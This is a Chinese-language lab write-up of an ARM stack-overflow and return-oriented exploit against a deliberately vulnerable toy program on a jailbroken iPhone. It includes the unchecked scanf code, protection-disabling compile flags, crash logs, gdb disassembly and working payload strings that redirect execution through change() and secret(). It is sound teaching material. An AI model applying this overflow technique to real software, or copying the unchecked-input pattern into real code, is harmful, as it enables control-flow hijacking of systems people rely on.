本次实践内容:
代码包含main()、change()和secret()三个方法。
原始代码中的main()方法中并未调用change()和secret()这两个方法,main()方法中有个scanf方法,用于接收用户输入的字符串并且没有检查用户输入的字符串的长度。
要实现在main()方法中调用change方法并接着调用secret()方法,就要利用scanf函数的这个缺陷。
设备要求:
苹果电脑
已越狱的32位系统的iphone手机,我这里用的是iphone4s(ios7.1)
本次使用的 roplevel.c 的代码
存在漏洞的代码如下:
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
char command[] = "date";
void change() {
strcpy(command, "ls");
printf("command changed.\n");
}
void secret() {
printf ("executing command ...\n");
system(command);
}
int main() {
printf("Welcome to ROPLevel 1 for ARM!\n");
char buff[12];
scanf("%s", buff);
return 0;
}
iPhoneOS7.1.sdk下载地址:
https://github.com/guoch/iPhoneOS7.1.sdk
实践流程
1、使用clang编译roplevel.c文件
终端输入命令编译roplevel.c,编译的时候仍然需要关掉thumb模式、地址随机化和其他一些保护特性:
clang roplevel.c -target armv7-apple-ios7.1 -isysroot /path/to/改成你的真实路径/iPhoneOS7.1.sdk -fno-pie -fno-stack-protector -mno-thumb -o roplevel
如果你用clang编译时使用的是新系统版本的iphone.sdk,会报错:
roplevel.c:12:2: error: 'system' is unavailable: not available on iOS
system(command);
^
/Applications/Xcode.app/Contents/Developer/Platforms/iPhoneOS.platform/Developer/SDKs/iPhoneOS13.2.sdk/usr/include/stdlib.h:190:6: note:
'system' has been explicitly marked unavailable here
int system(const char *) __DARWIN_ALIAS_C(system);
^
1 error generated.
因为system()方法在新的sdk中已不能使用,所以这里要下载iPhoneOS7.1.sdk,并且再用clang编译时用到的sdk选择刚刚下载的iPhoneOS7.1.sdk。
2、复制roplevel文件到手机
把编译好的roplevel可执行文件通过爱思助手拖入手机的/var/mobile/Documents/test目录下
3、ssh连接手机,为roplevel设置执行权限
电脑终端使用iproxy映射22端口到2222
iproxy 2222 22
电脑终端输入连接ssh的命令并cd到/var/mobile/Documents/test目录下:
ssh root@localhost -p 2222
增加执行权限:
chmod +x roplevel
4、正常流程测试 roplevel 程序
chaorende-iPhone:/var/mobile/Documents/test root# printf "AABBCCDD" | ./roplevelWel
come to ROPLevel 1 for ARM!
5、测试 roplevel 的崩溃
因为 roplevel.c 代码中,char buff[12]接收scanf()方法输入的字符串,限制为12个字符,当我们输入字符数超过12时会导致栈溢出。
iPhone:/var/mobile/Documents/test root# printf "AAAABBBBCCCCDDDDEEEEFFFFGGGGHHHH" | ./roplevel
Welcome to ROPLevel 1 for ARM!
Segmentation fault: 11
程序崩溃,用爱思助手查看手机 /var/Logs/CrashReporter 路径下的崩溃日志:
roplevel_2020-06-15-181505_chaorende-iPhone.ips 内容如下:
{"name":"roplevel","bug_type":"109","os_version":"iPhone OS 7.1.1 (11D201)","version":"???","app_name":"roplevel"}
Incident Identifier: F9606866-B1D5-45B3-B1F7-04609ADD6C47
CrashReporter Key: 170b7069d83069b34014ef09ae11cf58d7432429
Hardware Model: iPhone4,1
Process: roplevel [6931]
Path: ./roplevel
Identifier: roplevel
Version: ???
Code Type: ARM (Native)
Parent Process: sh [6659]
Date/Time: 2020-06-15 18:15:05.290 +0800
OS Version: iOS 7.1.1 (11D201)
Report Version: 104
Exception Type: EXC_BAD_ACCESS (SIGSEGV)
Exception Subtype: KERN_INVALID_ADDRESS at 0x46464644
Highlighted Thread: 0
Backtrace not available
Unknown thread crashed with ARM Thread State (32-bit):
r0: 0x00000000 r1: 0x00000000 r2: 0x00000100 r3: 0x00002060
r4: 0x00000000 r5: 0x0000bee0 r6: 0x00000000 r7: 0x45454545
r8: 0x27dff890 r9: 0x00000001 r10: 0x00000000 r11: 0x00000000
ip: 0x3d571bd8 sp: 0x27dff880 lr: 0x0000bf18 pc: 0x46464644
cpsr: 0x40000010
从上可看出, r7 中存储的是 EEEE , pc 中存储的是 FFFF
由于我们输入的字符过长,覆盖了栈中保存的LR寄存器的值,当main函数结束时,程序会把栈中保存的LR的值赋给PC寄存器,PC寄存器中的值就是即将执行的下一条指令的地址。所以只要输入的字符串时用change()方法的地址覆盖掉栈中LR寄存器的值,就能实现main()方法结束时去调用change()方法。
6、查看change()和secret()两个方法的地址
gdb附加roplevel
iPhone:/var/mobile/Documents/test root# gdb roplevel
查看change()的地址:
gdb$ disas change
Dump of assembler code for function change:
0x0000be64 <change+0>: 80 40 2d e9 push {r7, lr}
0x0000be68 <change+4>: 0d 70 a0 e1 mov r7, sp
0x0000be6c <change+8>: 08 d0 4d e2 sub sp, sp, #8 ; 0x8
0x0000be70 <change+12>: 18 00 0c e3 movw r0, #49176 ; 0xc018
0x0000be74 <change+16>: 00 00 40 e3 movt r0, #0 ; 0x0
0x0000be78 <change+20>: b0 1f 0b e3 movw r1, #49072 ; 0xbfb0
0x0000be7c <change+24>: 00 10 40 e3 movt r1, #0 ; 0x0
0x0000be80 <change+28>: 05 20 00 e3 movw r2, #5 ; 0x5
0x0000be84 <change+32>: 28 00 00 eb bl 0xbf2c
0x0000be88 <change+36>: b3 1f 0b e3 movw r1, #49075 ; 0xbfb3
0x0000be8c <change+40>: 00 10 40 e3 movt r1, #0 ; 0x0
0x0000be90 <change+44>: 04 00 8d e5 str r0, [sp, #4]
0x0000be94 <change+48>: 01 00 a0 e1 mov r0, r1
0x0000be98 <change+52>: 26 00 00 eb bl 0xbf38
0x0000be9c <change+56>: 00 00 8d e5 str r0, [sp]
0x0000bea0 <change+60>: 07 d0 a0 e1 mov sp, r7
0x0000bea4 <change+64>: 80 80 bd e8 pop {r7, pc}
End of assembler dump.
查看secret()的地址:
gdb$ disas secret
Dump of assembler code for function secret:
0x0000bea8 <secret+0>: 80 40 2d e9 push {r7, lr}
0x0000beac <secret+4>: 0d 70 a0 e1 mov r7, sp
0x0000beb0 <secret+8>: 08 d0 4d e2 sub sp, sp, #8 ; 0x8
0x0000beb4 <secret+12>: c5 0f 0b e3 movw r0, #49093 ; 0xbfc5
0x0000beb8 <secret+16>: 00 00 40 e3 movt r0, #0 ; 0x0
0x0000bebc <secret+20>: 1d 00 00 eb bl 0xbf38
0x0000bec0 <secret+24>: 18 e0 0c e3 movw lr, #49176 ; 0xc018
0x0000bec4 <secret+28>: 00 e0 40 e3 movt lr, #0 ; 0x0
0x0000bec8 <secret+32>: 04 00 8d e5 str r0, [sp, #4]
0x0000becc <secret+36>: 0e 00 a0 e1 mov r0, lr
0x0000bed0 <secret+40>: 1e 00 00 eb bl 0xbf50
0x0000bed4 <secret+44>: 00 00 8d e5 str r0, [sp]
0x0000bed8 <secret+48>: 07 d0 a0 e1 mov sp, r7
0x0000bedc <secret+52>: 80 80 bd e8 pop {r7, pc}
End of assembler dump.
7、实现执行change()方法
根据地址 0x0000be64,用 "\x64\xbe\x00\x00"替换"FFFF" ,执行main()函数时,scanf接收到"AAAABBBBCCCCDDDDEEEE\x64\xbe\x00\x00"从而覆盖main()方法栈中存储的LR为0x0000be64,当main即将结束时会把0x0000be64传给PC寄存器,从而跳转到change()方法:
先实现执行change()方法:
chaorende-iPhone:/var/mobile/Documents/test root# printf "AAAABBBBCCCCDDDDEEEE\x64\xbe\x00\x00" | ./roplevel
Welcome to ROPLevel 1 for ARM!
command changed.
Bus error: 10
看到终端中输出了"command changed.",则证明执行了 chang() 方法,虽然最后程序还是崩溃掉了。
8、那么如何在change()执行结束时跳转到secret()方法呢?
chang()函数开头 push {r7, lr} 把lr和r7存储到了栈中,change()函数的结束时通过 pop {r7, pc} 把栈中存储的lr传给 pc寄存器,只要让 change()结束时的pc指向 secret() 方法,就可调用并执行secret()方法了。
于是,我们直接让 main()结束时跳转到 0x0000be68 位置,而不是0x0000be64位置,这样可以不执行chang()函数开头的 push {r7, lr}而不影响change()方法的执行。
当change()结束时执行pop {r7, pc},会把”main()入栈的LR“上方的第一个”其他数据“当做R7的值,把第二个”其他数据“当做LR的值传给PC寄存器,这样就能跳转到secret()方法了:
因为栈上的数据每次读取都是4个字节,我们输入的字符串溢出的长度只要刚好覆盖到栈上两个4字节的数据即可。
change()方法不执行push{r7,lr} 的地址:0x0000be68
secret()方法的地址:0x0000bea8
所以拼接字符串为:AAAABBBBCCCCDDDDEEEE\x68\xbe\x00\x00FFFF\xa8\xbe\x00\x00
最终执行:
chaorende-iPhone:/var/mobile/Documents/test root# printf "AAAABBBBCCCCDDDDEEEE\x68\xbe\x00\x00FFFF\xa8\xbe\x00\x00" | ./roplevel
Welcome to ROPLevel 1 for ARM!
command changed.
executing command ...
hello roplevel t_coreutils-bin_8.12-9_iphoneos-arm.deb t_coreutils_8.12-13_iphoneos-arm.deb
Bus error: 10
从打印信息可以看到,执行完 change()方法后执行了secret()方法,打印出当前目录下的文件。
以上是我的个人见解,不对的地方望指正。